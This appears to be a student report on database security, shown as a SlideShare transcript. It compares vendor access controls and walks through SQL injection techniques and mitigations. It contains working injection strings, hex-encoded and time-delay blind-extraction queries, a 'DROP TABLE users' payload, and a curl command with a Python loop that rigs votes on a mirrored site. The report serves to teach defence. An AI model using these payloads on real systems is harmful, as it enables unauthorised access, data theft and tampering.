.doc.doc.doc
Upcoming SlideShare
Loading in...5
×

Like this? Share it with your network

Share
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Be the first to comment
    Be the first to like this
No Downloads

Views

Total Views
1,175
On Slideshare
1,175
From Embeds
0
Number of Embeds
0

Actions

Shares
Downloads
10
Comments
0
Likes
0

Embeds 0

No embeds

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide

Transcript

  • 1. Analysis of Database Security: Methods of Attack and Mitigation Strategies Group Members: Tushar Sugandhi Brendan Kohler Natthapol Prakongpan Jonathan Reitnauer Travis Whilden
  • 2. Table of Contents: Introduction:.................................................................................3 Security Measures in Database Systems..................................4 Access Control.............................................................................................................................4 Authentication..........................................................................................................................4 Authorization...........................................................................................................................5 Vendor Specific Security Measures.............................................................................................5 IBM DB2.................................................................................................................................5 Security measures ...............................................................................................................5 Services/Advantages............................................................................................................5 Disadvantages/Vulnerabilities.............................................................................................6 Oracle.......................................................................................................................................6 Security measures................................................................................................................6 Services/Advantages............................................................................................................6 Disadvantages/Vulnerabilities.............................................................................................6 MySQL....................................................................................................................................7 Security measures................................................................................................................7 Services/Advantages............................................................................................................7 Disadvantages/Vulnerabilities.............................................................................................7 Microsoft SQL Server..............................................................................................................7 Security measures................................................................................................................7 Services/Advantages............................................................................................................7 Disadvantages/Vulnerabilities.............................................................................................8 PostgreSQL Security................................................................................................................8 Security measures................................................................................................................8 Services/Advantages............................................................................................................8 Disadvantages/Vulnerabilities.............................................................................................8 SQL Injection Attacks..................................................................8 Background..................................................................................................................................8 A Case Study..............................................................................................................................10 Target Application.................................................................................................................10 Identifying the Underlying Schema (Attribute and Table names).........................................12 Finding User Details .............................................................................................................15 Guessing Password................................................................................................................16 Advanced SQL Injection Attacks..............................................................................................16 Injecting Encoded Statements................................................................................................16 Using Time Delays................................................................................................................17 Mitigation against SQL Injection Attacks on Databases...........................................................19 Sanitize the input....................................................................................................................19 Escape/Quotesafe the input....................................................................................................20 Use bound parameters (the PREPARE statement)................................................................20 Limit database permissions and segregate users....................................................................21 Use stored procedures for database access............................................................................22 Isolate the web server.............................................................................................................22
  • 3. Configure error reporting.......................................................................................................23 SQL Injection Attacks – Our Implementation...........................................................................23 Background............................................................................................................................23 Implementation......................................................................................................................23 An algorithm of attack.......................................................................................................26 Concluding Remarks ............................................................................................................27 Conclusion:.................................................................................27 References:.................................................................................29 Introduction: Databases, electronic collections of information, are an important aspect of information technology and in turn require special attention. Numerous companies have entered the database management system (DBMS) market, including IBM and Microsoft. IBM’s product, DB2, is a cross-platform solution for business users, while Microsoft’s SQL Server, limited to the Windows operating system, has typically been found in smaller businesses and in the home but is now finding its way into enterprise-level applications. The structured data sets in databases, known as records, may contain sensitive data ranging from financial statements to credit card numbers, thus an understanding of possible threats to database security provide an appropriate start to protecting your information. A prime example is the DB2’s ENCRYPT modes, a reliable alternative to the typical CLIENT and SERVER modes in transferring data securely. Many of these companies provide cost effective “Express” or limited versions of their full featured DBMS to cater to the needs of smaller private companies as well as to the larger corporations. There are even free DBMS available, including the open-source PostgreSQL and multi-platform MySQL. Despite the best intentions, certain threats, including insecure access control as well as interface weaknesses such as SQL injection, pose an ever-present risk to databases.
  • 4. Security Measures in Database Systems Access Control Database access control is one of the most important pieces that make a database secure. Access control is the ability for a database administrator to manage users and/or groups of users’ access to data in a database. Unlike operating system access control, database access control is more difficult since the entity we are trying to control is not physically separated. For example, one can set permissions to a file or directory. However, with a centralized database, it is more difficult to set permissions to some part of a record on a table. In this project, we explore access control methods and features available on commercial databases: IBM DB2, Oracle, Microsoft SQL Server, and MySQL. In each of these databases, we look at control features for authentication, authorization, and privileges. Authentication Authentication methods are used by a DBMS to verify users’ identities. There are various authentication options for DBMSs to choose from, and most major DBMSs have a mechanism to authenticate users based on operating system authentication method. For example, IBM DB2 has the ability to use RADIUS authentication which is commonly used on the AIX operating system. Moreover, Microsoft SQL Server recommends Windows authentication for secure login. Oracle also has the ability to use authentication methods of various operating systems on which it is installed. These authentication methods that tie to operating systems are more secure because the authentication database is protected by the file systems. However, MySQL only has application level authentication, and it stores the authentication database (commonly known as the user database) in a plaintext file. Administrators must use caution to protect this file ensuring that only the application can access it. Commercial databases, conversely, tend to handle authentication in a more secure manner.
  • 5. Authorization In DBMS, authorization is a mechanism for control the level of access to an object and privilege given to users. Tables, views, stored procedures, and functions are examples of database objects. A user is given a privilege to access these objects depending on the user’s need or role. Administrators have to be very careful when assigning privilege to users mainly because of an inference attack. Many database servers do not have the fine-grain control build into the DBMS. Administrators can create a view to limit access to critical data. Oracle is the only software supplier that has a detailed authorization control built-in in their DBMS, and it is called Identity Management (IM) using its Oracle Label Security™. With IM, administrators can assign privilege to users in row level down to cell level without additional coding required. In sum, authorization to cell level can be done, but the degree of difficultly varies greatly among management systems. Administrators have to be familiar with their system and use caution when assigning privilege to users. Vendor Specific Security Measures IBM DB2 Security measures • Provides more reliable settings than CLIENT and SERVER, which are discouraged. These include SERVER_ENCRYPT, DCE_ENCRYPT, KRB-ENCRYPT • Patches provided on a regular basis, sometimes slower because of the broad platform extent of DB2 (since some vulnerabilities are platform specific) Services/Advantages • Cross-platform • patches regularly updated
  • 6. Disadvantages/Vulnerabilities • In CLIENT authentication, allows client to authenticate the user (trust_allclnts), which is inherently insecure • Program runs under file owners permissions rather than permissions of person executing commands, thus attackers have a way of gaining elevated privileges • Files trust environmental variables (poor encapsulation) • Proprietary network protocol isn’t standardized Oracle Security measures • Patches provided every quarter, (January, April, July, October) Services/Advantages • Extensive risk assessment matrices online with patch updates referenced to address specific vulnerabilities • Extensive documentation provided by Oracle • Cross-platform Disadvantages/Vulnerabilities • Listener protocol, which is responsible for providing basic network connectivity for clients, application servers, and other databases to an Oracle database, is well known for vulnerabilities:  If a password is not set on the Listener, someone who knows just a hostname and port number (default port is 1521) has full control over the Listener  Even when password set, services on databases and all databases running can be seen
  • 7.  The Listener password can easily be brute forced, since there is no automatic lockout facility and no requirements for strong passwords.  “set password” command transmit password across network in clear text • Logfile doesn’t provide IP address or client info for remote connections • Extremely expensive compared to competition MySQL Security measures • Access control list (ACL) oriented Services/Advantages • Based on access control list for permissions, limited commands for limited privilege accounts • Cross-platform Disadvantages/Vulnerabilities • Disabling client access control removes any password checking, allowing remote connection without password possible • arithmetic operations are vulnerable to either integer overflow or floating point truncation Microsoft SQL Server Security measures • Certificate-level authentication as well as id/pw possible • Group password policies and password requirements enforced Services/Advantages • Based on Microsoft’s Trustworthy Computing initiative  Secure by Default mandate
  • 8. • Set of pre-made access account levels for convenience, granular permissions possible as well • features automated database mirroring, failover clustering, and database snapshots Disadvantages/Vulnerabilities • Possible to grant elevated permissions to self with certain access level (as member of db_securityadmin) • Windows platforms only PostgreSQL Security Security measures • Lists all known security issues for its versions, as well as their fixes, known as minor updates, online • Default password encryption Services/Advantages • Completely open-sourced database • Full version free of charge, versions tailored for use Disadvantages/Vulnerabilities • Small development team deals with major releases and minor releases alike SQL Injection Attacks Background Availability of advanced server side technologies and sophisticated database servers has made development of dynamic, data-driven Web Sites incredibly easy. But power of such tools can easily be exploited by hackers mounting an all-too-common class of attack – SQL Injection
  • 9. attack. SQL injection is not as old as one might suppose. According to “Data-mining with SQL Injection and Inference” the first mention of SQL injection occurred in issue 54 of the underground magazine, Phrack, published on December 25, 1998. The issue was discussed in detail in the article “NT Web Technology Vulnerabilities” under the header, “ODBC and MS SQL server 6.5.” This article explained the first major SQL injection attack vector, “batch query execution.” According to Phrack, the vulnerability was reported to Microsoft, which described batch query execution as a “feature.” This is a testament to the newness of the idea of SQL-based attacks, considering that nearly a decade later this first attack is still synonymous with SQL injection. While many other attack vectors were discovered in the next year, the term “SQL injection” would not surface until October 23, 2000, when the first “SQL Injection FAQ” was published. By 2003, “blind SQL injection” would surface, and the first automated injection tool would be released. In five years, SQL injection went from non-existent to being perhaps the most documented website attack method. The basic idea behind a SQL injection attack is this: you create a web page that allows the user to enter text into a textbox that will be used to execute a query against a database. A hacker enters a malformed SQL statement into the textbox that changes the nature of the query so that it can be used to break into, alter, or damage the back end database. There are plenty of standard resources available on the web which describe SQL injection attacks in depth. We collected the information from the web pages given in the references. The SQL query examples in this document have been taken mainly from Steve Friedl’s [1] SQL Injection Attacks web page, Chris Ansley’s paper on Advanced SQL Injection [4], and Data Mining with SQL Injection and Inference [6] by David Litchfield.
  • 10. A Case Study Target Application We assume that we attacked certain web application which we had neither a prior knowledge of the application nor access to the source code. With some efforts we can find out the web server on which the application is running, and which backend database it is using. Let’s assume that this application was running on Microsoft's IIS 6 along with ASP.NET, and this suggested that the database was Microsoft's SQL server. We can use these techniques to nearly any web application backed by any SQL server. The login page had a traditional username-and-password form, which we used to exploit the underlying database system. It also had a provision to recover the forgotten password. User only has to enter his email address to which the password would be mailed. Let’s assume that we entered some notorious email address so that instead of authentic user, we get his password. When entering an email address, the system presumably looked in the user database for that email address, and mailed something to that address. Since the email address we entered is not found, it wasn't going to send us anything. Therefore the first test in any SQL like form is to enter a single quote as part of input. The motivation behind this is to find if SQL query is being formed without sanitizing the input. When submitting the form with a quote in the userID field, we get an error message, and this suggests that the invalid input is actually being parsed literally. It also gives us information about underlying Web Server and Database Server. This is a good start. We surmise that the underlying SQL code looks something like this: SELECT fieldlist FROM table WHERE field = '$EMAIL';
  • 11. Here, $EMAIL is the address submitted on the form by the user, and the larger query provides the quotation marks that set it off as a literal string. We don't know the specific names of the fields or table involved, but we do know their nature, and we'll make some good guesses later. When we enter dbsecurity@gatech.edu' - note the closing quote mark - this yields constructed SQL: SELECT fieldlist FROM table WHERE field = 'dbsecurity@gatech.edu''; When this query is executed, the SQL parser finds the extra quote mark and aborts with a syntax error. How this manifests itself to the user depends on the application's internal error- recovery procedures, but it's usually different from "email address is unknown". This error response is a dead giveaway that user input is not being sanitized properly and that the application is ripe for exploitation. Mostly the data we are entering is a part of ‘where’ clause. Therefore we will try to change the nature of the clause in an authentic SQL way. By entering anything' OR 'x'='x, the resulting SQL query is: SELECT fieldlist FROM table WHERE field = 'anything' OR 'x'='x'; As the application is constructing the dynamic SQL query from input string without sanitizing it, the clause 'x'='x' is successfully entered into the SQL query and it is bound to be true in all cases.
  • 12. But unlike the "real" query, which should return only a single item each time, this version will essentially return every item in the target database. The only way to find out what the application will do in this circumstance is to try it. Doing so, we were greeted with: Your login information has been mailed to dbsecurity@gatech.edu. Our best guess is that it's the first record returned by the query, effectively an entry taken at random. This person really did get this forgotten-password link via email, which will probably come as surprise to him and may raise warning flags somewhere. We now know that we're able to manipulate the query to our own ends, though we still don't know much about the parts of it we cannot see. But we have observed three different responses to our various inputs: • "Your login information has been mailed to email" • "We don't recognize your email address" • Server error The first two are responses to well-formed SQL, while the latter is for bad SQL: this distinction will be very useful when trying to guess the structure of the query. Identifying the Underlying Schema (Attribute and Table names) There is no explicit way to determine the underlying table name. So we'll do it in steps. In each case, we'll show the whole query as we know it, with our own snippets shown specially. We know that the tail end of the query is a comparison with the email address, so let's guess email as the name of the field: SELECT fieldlist FROM table WHERE field = 'x' AND email IS NULL; --';
  • 13. The intent is to use a proposed field name (email) in the constructed query and find out if the SQL is valid or not. We don't care about matching the email address (which is why we use a dummy 'x'), and the -- marks the start of an SQL comment. This is an effective way to "consume" the final quote provided by application and not worry about matching them. If we get a server error, it means our SQL is malformed and a syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly. This is the case whether we get the "email unknown" or "password was sent" response. Note, however, that we use the AND conjunction instead of OR: this is intentional. In the SQL schema mapping phase, we're not really concerned with guessing any particular email addresses, and we do not want random users inundated with "here is your password" emails from the application - this will surely raise suspicions to no good purpose. By using the AND conjunction with an email address that couldn't ever be valid, we're sure that the query will always return zero rows and never generate a password-reminder email. Submitting the above snippet indeed gave us the "email address unknown" response, so now we know that the email address is stored in a field email. If this hadn't worked, we'd have tried email_address or mail or the like. This process will involve quite a lot of guessing. Next we'll guess some other obvious names: password, user ID, name, and the like. These are all done one at a time, and anything other than "server failure" means we guessed the name correctly. SELECT fieldlist FROM table WHERE email = 'x' AND userid IS NULL; --'; As a result of this process, we found several valid field names:
  • 14. • email • passwd • login_id • full_name There are certainly more (and a good source of clues is the names of the fields on forms), but a bit of digging did not discover any. But we still don't know the name of the table that these fields are found in - how to find out? The application's built-in query already has the table name built into it, but we don't know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a subselect. A standalone query of: SELECT COUNT(*) FROM tabname returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name: SELECT email, passwd, login_id, full_name FROM table WHERE email = 'x' AND 1= (SELECT COUNT(*) FROM tabname); --'; We don't care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that “members” was a valid table in the database. But is it the table used in this query? For that we need yet another test using table.field notation: it only works for tables that are actually part of this query not merely that the table exists. SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x' AND members.email IS NULL; --';
  • 15. When this returned "Email unknown", it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim. Finding User Details At this point we have a partial idea of the structure of the members table, but we only know of one username: the random member who got our initial "Here is your password" email. Recall that we never received the message itself, only the address it was sent to. We'd like to get some more names to work with, preferably those likely to have access to more data. The first place to start, of course, is the company's website to find who is who: the "About us" or "Contact" pages often list who's running the place. Many of these contain email addresses, but even those that don't list them can give us some clues which allow us to find them. The idea is to submit a query that uses the LIKE clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the password sent message and email. Note that though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. Therefore we should not try it extensively. We can do the query on email name or full name (or presumably other information), each time putting in the % wildcards that LIKE supports: SELECT email, passwd, login_id, full_name FROM members WHERE email = 'x' OR full_name LIKE '%Bob%'; Keep in mind that even though there may be more than one "Bob", we only get to see one of them: this suggests refining our LIKE clause narrowly. Ultimately, we may only need one valid email address to leverage our way in.
  • 16. Guessing Password We can try using brute-force attack on guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non- sanitized inputs, we have another avenue that is much less likely to be so protected. We'll instead do actual password testing in our snippet by including the email name and password directly. In our example, we'll use our victim, bob@example.com and try multiple passwords. SELECT email, passwd, login_id, full_name FROM members WHERE email = 'bob@example.com' AND passwd = 'hello123'; This is clearly well-formed SQL, so we don't expect to see any server errors, and we'll know we found the password when we receive the "your password has been mailed to you" message. Our mark has now been tipped off, but we do have his password. Advanced SQL Injection Attacks Injecting Encoded Statements There is a bewildering array of ways to encode SQL queries. We’ve already demonstrated the use of the 'char' function to compose a query string; another way is to hex – encode the query: declare @q varchar(8000) select @q = 0x73656c65637420404076657273696f6e exec(@q) This runs 'select @@version', as does: declare @q nvarchar(4000) select @q = 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)
  • 17. In the stored procedure example above we saw how a 'sysname' parameter can containmultiple SQL statements without the use of single quotes or semicolons: sp_msdropretry [foo drop table logs select * from sysobjects], [bar] Using Time Delays Frequently an attacker is placed in the position of being able to execute a command in some system, but being unsure whether it is running correctly. This is normally due to the absence of error messages returned from the system they are attacking. A novel and flexible workaround to this situation is to use time delays. For example in the case of both Unix and windows shells, the 'ping' command can be used to cause the application to pause for a few seconds, thus revealing to the attacker the fact that they are correct in their assumption that they are running a command. In windows, the command: ping -n 5 127.0.0.1 …will take approximately five seconds to complete, whereas: ping -n 10 127.0.0.1 …will take approximately ten seconds. Similarly in SQL server, the command, waitfor delay '0:0:5' …will cause the query to pause for five seconds at that point. This provides the attacker with a means of communicating information from the database server to the browser; since almost all web applications are synchronous (i.e. they wait for completion of the query before returning content to the browser) the attacker can use time delays to get yes/no answers to various pertinent questions about the database and its surrounding environment: Are we running as 'sa'?
  • 18. if (select user) = 'sa' waitfor delay '0:0:5' If the application takes more than five seconds to return, then we are connected to the database as ‘sa’. Moreover, the following query: declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 0))) > 0 waitfor delay '0:0:5' …will pause for five seconds if the first bit of the first byte of the name of the current database is '1'. We can then run: declare @s varchar(8000) select @s = db_name() if (ascii(substring(@s, 1, 1)) & ( power(2, 1))) > 0 waitfor delay '0:0:5' …to determine the second bit, and so on. At first sight, this is not a terribly practical attack; although it provides us with a means of transporting a single bit from a string in the database to the browser, it has an apparent bandwidth of 1 bit / 5 seconds. An important point to realise here, though, is that the channel is random-access rather than sequential; we can request whatever bits we like, in whatever order we choose. We can therefore issue many simultaneous requests to the web application and retrieve multiple bits simultaneously; we don't have to wait for the first bit before requesting the second. The bandwidth of the channel is therefore limited not by the time delay, but by the number of simultaneous requests that can be made through the web application to the database server; this is typically in the hundreds. Obviously a harness script is required, to submit the hundreds of requests that are needed in an automated fashion. This script would take as input the location of the vulnerable web server and script, the parameters to submit to the script and the desired query to run. The hundreds of simultaneous web requests are made, and the script reassembles the bits into the string as they are received. In our tests, four seconds was demonstrated to be an effective time delay (resulting in a bit-error-rate of 1 per 2000), and a query rate of 32 simultaneous queries was sustainable. This results in a transfer rate of
  • 19. approximately 1 byte per second. This may not sound like a lot, but it is more than enough to transport a database of passwords or credit card numbers in a couple of hours. Mitigation against SQL Injection Attacks on Databases Sanitize the input It's most crucial to sanitize user inputs to ensure that they do not contain any hazardous codes, either SQL or HTML itself. The first step towards achieving this is to strip out "dangerous stuff", such as quotes or semicolons or escapes, but this is a misguided attempt. Though it's easy to point out some dangerous characters, it's harder to point to all of them. The language of the web is full of special characters and strange markup (including alternate ways of representing the same characters), and efforts to authoritatively identify all "dangerous stuff" are unlikely to be successful. Instead, rather than "remove known bad data", it's better to "remove everything but known good data": this distinction is crucial. There is really no benefit in allowing characters that could not be valid, and rejecting them early - presumably with an error message - not only helps forestall SQL Injection, but also catches mere typos early rather than stores them into the database. Be aware that "sanitizing the input" doesn't mean merely "remove the quotes", because even "regular" characters can be troublesome. In an example where an integer ID value is being compared against the user input (say, a numeric PIN): SELECT fieldlist FROM table WHERE id = 23 OR 1=1; -- Always true! In practice, however, this approach is highly limited because there are very few fields for which it's possible to outright exclude many of the dangerous characters. For "dates" or "email addresses" or "integers" it may have merit, but for any kind of real application, one simply cannot avoid the other mitigations.
  • 20. Escape/Quotesafe the input Even if one might be able to sanitize a phone number or email address, one cannot take this approach with a "name" field lest one wishes to exclude the likes of Bill O'Reilly from one's application: a quote is simply a valid character for this field. One includes an actual single quote in an SQL string by putting two of them together, so this suggests the obvious but wrong technique of preprocessing every string to replicate the single quotes: SELECT fieldlist FROM customers WHERE name = 'Bill O''Reilly'; -- works OK However, this naïve approach can be beaten because most databases support other string escape mechanisms. MySQL, for instance, also permits ' to escape a quote, so after input of '; DROP TABLE users; -- is "protected" by doubling the quotes, we get: SELECT fieldlist FROM customers WHERE name = '''; DROP TABLE users; --'; -- users table is gone! The expression ''' is a complete string (containing just one single quote), and the usual SQL shenanigans follow. It doesn't stop with backslashes either: there is Unicode, other encodings, and parsing oddities all hiding in the weeds to trip up the application designer. Getting quotes right is notoriously difficult, which is why many database interface languages provide a function that does it for you. When the same internal code is used for "string quoting" and "string parsing", it's much more likely that the process will be done properly and safely. Use bound parameters (the PREPARE statement) Rather than executing dynamic queries built with input parameters from user, a better way is to use bound parameters. Bound parameters are supported by essentially all database programming interfaces. In this technique, an SQL statement string is created with placeholders -
  • 21. a question mark for each parameter - and it's compiled ("prepared", in SQL parlance) into an internal form. Later, this prepared query is "executed" with a list of parameters: Example in Perl: $sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;"); $sth->execute($email); Thanks to Stefan Wagner, this demonstrates bound parameters in Java: Insecure version: Statement s = connection.createStatement(); ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = " + formField); // *boom* Secure version: PreparedStatement ps = connection.prepareStatement( "SELECT email FROM member WHERE name = ?"); ps.setString(1, formField); ResultSet rs = ps.executeQuery(); Here, $email is the data obtained from the user's form, and it is passed as positional parameter #1 (the first question mark), and at no point do the contents of this variable have anything to do with SQL statement parsing. Quotes, semicolons, backslashes, SQL comment notation - none of this has any impact, because it's "just data". There simply is nothing to subvert, so the application is be largely immune to SQL injection attacks. There also may be some performance benefits if this prepared query is reused multiple times (it only has to be parsed once), but this is minor compared to the enormous security benefits. This is probably the single most important step one can take to secure a web application. Limit database permissions and segregate users In this current example, we noticed only two interactions that are made not in the context of a logged-in user: "log in" and "send me password". The web application ought to use a
  • 22. database connection with the most limited rights possible: query-only access to the members table, and no access to any other table. The effect here is that even a so called "successful" SQL injection attack is going to have much more limited success. Here, we'd not have been able to do the UPDATE request that ultimately granted us access, so we'd have had to resort to other avenues. Once the web application determined that a set of valid credentials had been passed via the login form, it would then switch that session to a database connection with more rights. It should go almost without saying that sa rights should never be used for any web-based application. Use stored procedures for database access Use stored procedures, whenever the database server supports them, for performing access on the application's behalf, which can eliminate SQL entirely (assuming the stored procedures themselves are written properly). By encapsulating the rules for a certain action - query, update, delete, etc. - into a single procedure, it can be tested and documented on a standalone basis and business rules enforced (for instance, the "add new order" procedure might reject that order if the customer were over his credit limit). For simple queries this might be only a minor benefit, but as the operations become more complicated (or are used in more than one place), having a single definition for the operation means it's going to be more robust and easier to maintain. Isolate the web server Even having taken all these mitigation steps, it's nevertheless still possible to miss something and leave the server open to compromise. One ought to design the network infrastructure to assume that the bad guy will have full administrator access to the machine, and then attempt to limit how that can be leveraged to compromise other things. For instance,
  • 23. putting the machine in a DMZ with extremely limited pinholes "inside" the network means that even getting complete control of the webserver doesn't automatically grant full access to everything else. This won't stop everything, of course, but it makes it a lot harder. Configure error reporting The default error reporting for some frameworks includes developer debugging information, and this cannot be shown to outside users. Imagine how much easier a time it makes for an attacker if the full query is shown, pointing to the syntax error involved. This information is useful to developers, but it should be restricted - if possible - to just internal users. SQL Injection Attacks – Our Implementation Background As previously mentioned, SQL Injection attacks are one way in which an attacker can exploit a database by adding, modifying or deleting data in an unauthorized way. To demonstrate this technique, we will conduct an attack against a website running a database backend. Our goal will be to manipulate the data it stores to alter the outcome of a function in a predetermined way. Implementation For our SQL injection demonstration we wanted to show how injection can work on a real website, rather than one constructed explicitly for the purpose of injection. So we took a website, http://bestthing.info, and created a mirror of it. The website was an ideal real-world test because of three factors. First, the website is database driven, which is required for SQL injection in the first place. Second, the site is user-driven; all data has been submitted by users, meaning there's direct interaction between user-input and the database. Finally, as a real- world website getting
  • 24. 250,000 hits per day, bestthing.info accurately reflects the source code of a web-application that attackers face on the internet. The test site has a simple functional purpose. On each page load it displays two phrases and allows the user to choose which is "better." It also permits users to add their own phrases for inclusion in the pool of available choices. The site tabulates votes for the various phrases based on how often they were selected over other ones. It then calculates a list of the top 20 phrases based on this data. The goal for our attack is to insert a new phrase and by manipulating of the vote data, cause it to be listed as the number one phrase voted for. This is accomplished in two phases. The first step is simply to insert the desired phrase into the site database by making use of the add feature on the page. This is done in the normal way and does not involve any illegitimate method of access. Once this is completed using the desired input text, the second step involves promoting the string entered to the top of the list by altering the data relating to votes in the site. For this process, we will examine the methods the site uses to record votes to better understand how our attack is accomplished. Looking at the HTML code of the form, we see the following: <form method="post" action="/"> <div> <input name="tid0" value="27356" type="hidden" /> <input name="tid1" value="35705" type="hidden" /> <input name="A" type="submit" value="Having a funny hat" /> or <input name="B" type="submit" value="Bs" /> <br /><br /> <input type="submit" name="d" value="Report this pair as a duplicate." /> </div> </form> The following code processes the form request: mysql_query('INSERT INTO votes (ip,time,tid0,tid1,vote) VALUES ('.ip2long($_SERVER['REMOTE_ADDR']).',now(),'.$_POST['tid0'].','. $_POST['tid1'].','.(isset($_POST['A'])?1:0).')');
  • 25. if(mysql_affected_rows()>0) { mysql_query('UPDATE thing SET votesFor=votesFor+'.$forA.', votesTotal=votesTotal+1 WHERE tid='.$o); mysql_query('UPDATE thing SET votesFor=votesFor+'.($forA?0:1).', votesTotal=votesTotal+1 WHERE tid='.$t); } Given this code it is relatively easy to determine that tid0 and tid1 are numeric IDs which represent the text for each poll option, and they are linked to additional inputs named A and B which contain the actual text. Looking at the server code it was also clear to us that there was no input filtering of this data before it was appending to the above database queries. This represents a security flaw which can be exploited via SQL injection. Our first approach to this was the classic "multiple query" attack in which one appends a semicolon and then a second query to the input in an attempt to get the server to execute two queries. This proved unsuccessful as it appears that all current web application frameworks do not allow multiple queries to be executed by their database drivers. Our working solution involved a process that manipulates the queries the server processes by inserting comments into the string and finishing the query with arbitrary data. Since submitting data to the web page requires an http POST request, we performed this routine from the command line. This following curl request illustrates a working method: curl -d tid0=<num1>,<num2>,1)# -d tid1=-1 or thing=<text>' -d B=submit <url> where <num1> and <num2> are any random number, <text> is the previously submitted input text, and <url> is the URL of the site, in this case injection.pycoder.net. What this request doing is providing two valid tid #s (and an additional number field to the first query through the tid0 parameter. It does this by finishing the query with additional values in the input and then commenting out the rest. This allows the second query to execute, which is the one that increments the vote count. Here tid1 is used to add an additional clause that always selects the
  • 26. record with the target input text and always disallows any other selection. The result of this is that the vote count for the target text is always incremented. By running this command continuously in a loop, we are able to effectively increase its vote count by an arbitrary amount. An algorithm of attack Consider the following: #!/usr/bin/python import random, commands x = [random.randint(4000,400000)] for n in range(10000): while True: p = random.randint(4000,400000) if not p in x: x.append(p) break commands.getoutput((r"curl -d tid0=%i,%i,1) # -d tid1=-1 or”+ r“thing='test' -d B=submit ”+ r“http://injection.pycoder.net" ) % (x[-2],x[-1])) The algorithm we use to exploit the injection vulnerability is startlingly simple. First, it generates random numbers to add for the field identifiers we must spoof. Next, it executes a special URL using the Linux program curl. An example line the script executes looks like this: curl -d tid0=4040,40302,1) # -d tid1=-1 or thing='test' -d B=submit http://injection.pycoder.net/index.php This corresponds to the example line given earlier. When the script finishes executing, it has done two things. First, there are now 10,000 garbage entries in the database. Second, there is one item with 10,000 votes. The attack has succeeded in both inserting garbage values to reduce the relation integrity and modifying data to destroy the data integrity. This attack was made easier by the fact that the server code of the web application was available for review. This is the same situation in several real world scenarios. For example, if the product is open source and the attacker can easily replicate the same environment on a different server, or if the attacker is an insider who is working on or has seen the code himself and desires to exploit it. In many cases however, the attacker does not have access to the server code and so must work around that.
  • 27. When this is the case, extra ingenuity is required. The attacker must make intelligent guesses as to the function of web app, what it is doing, and how the code is structured. In the case of our example, he would need to assume that tid0 and tid1 are utilized in some kind of vote tabulation table and that a vote field relating to the text chosen is incremented. These are somewhat intuitive assumptions given the purpose and design of the website. In addition to this, the number of columns in the votes table and the name of the field used to store the text for each option would need to be known. Depending on the database used, this information may not be difficult to obtain. There are several common forms of attack that can retrieve an entire database schema through SQL injection vulnerabilities. Concluding Remarks In the course of our demonstration attempts we covered a lot of ground. The database security world is engaged constant cat and mouse game where vulnerabilities are discovered, exploited, and the patched. most obvious attack vectors of 10 years ago, such as the infamous multiple query attack, no work. Quoting has improved as well, and binary attacks, where you get around quoting by binary data, are difficult to execute. Another attack, based on inserts contained in selection failed as well. In the end, our exploitation of the website came down to a simple flaw in the structure, allowing us to bypass ip-logging and vote an arbitrarily large number of times. Conclusion: Essentially, application developers should carefully choose a database system that will deliver the performance and functionality an application requires. Furthermore, they should consider any security risks that are introduced with the use of such system, as well as weighing the costs of patching these security risks. Applications need to develop around the lack of
  • 28. security feature to ensure that the entire system, application and database, is secure. Also, when managing a database system, administrators should be familiar with the system and know the security flaws in it so that they can be prevented. Assigning privilege to a user should be carefully done by checking all routes that a user can access a data. Finally, any database can be secure if its users take steps of precaution in securing it. While insufficient access control and SQL injection attacks are two of the larger risks in database management, others lie lurking and education of such exploits is an important step in securing your database.
  • 29. References: [1] Friedl, Steve. “SQL Injection Attacks by Example”. Unixwhiz.net 13 Jan. 2005. 7 Mar 2007 <http://www.unixwiz.net/techtips/sql-injection.html> [2] Litwin, Paul. “Stop SQL Injection Attacks Before They Stop You”. MSDN Magazine Sep. 2004. 7 Mar 2007 <http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection> [3] Halfond, William and Alessandro Orso. “Amnesia: Analysis and monitoring for Neutralizing SQL-injection Attacks”. Proceedings of the 20th IEEE/ACM international Conference on Automated software engineering (2005): 174-183. <http://portal.acm.org/citation.cfm? id=1101935> [4] Ansley, Chris. “(more) Advanced SQL Injection.” Next Generation Security Software. 2007. 30 Mar 2007 <http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf> [5] SK. “SQL Injection Walkthrough”. SecuriTeam. 26 May 2002. 30 Mar 2007. <http://www.securiteam.com/securityreviews/5DP0N1P76E.html> [6] Litchfield, David. “Data-mining with SQL Injection and Inference”. Next Generation Security Software. 30 Sept 2005. 1 Apr 2007. <http://www.ngssoftware.com/research/papers/sqlinference.pdf> [7] Rain Forest Puppy. “NT Web Technology Vulnerabilities”. Phrack Magazineec 25th Dec 1998. 1 Apr 2007. <http://www.phrack.org/archives/54/P54-08> [8] Andrews, Chip. “SQL Injection FAQ”. SQLSecurity.com. 2006. 6 Apr 2007. <http://www.sqlsecurity.com/FAQs/SQLInjectionFAQ/tabid/56/Default.aspx>